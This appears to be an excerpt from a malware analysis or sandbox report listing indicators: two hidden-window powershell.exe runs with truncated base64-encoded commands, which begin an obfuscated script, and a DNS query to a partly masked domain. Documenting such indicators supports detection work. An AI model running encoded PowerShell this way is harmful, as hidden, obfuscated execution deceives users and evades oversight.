Technical Information
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e PAAjACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvACAAIwA+ACAAJABPAGMAbQBxAHYAeABnAGMAcwBoAGoAaABvAD0AJwBVAGYAYQBqAG8AawBqAHUAdwBvAGYAcABmACcAOwAkAEsAdQBjAHUAbgByAG...
- DNS ASK bu###gnere.com
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e PAAjACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvACAAIwA+ACAAJABPAGMAbQBxAHYAeABnAGMAcwBoAGoAaABvAD0AJwBVAGYAYQBqAG8AawBqAHUAdwBvAGYAcABmACcAOwAkAEsAdQBjAHUAbgByAG...' (with hidden window)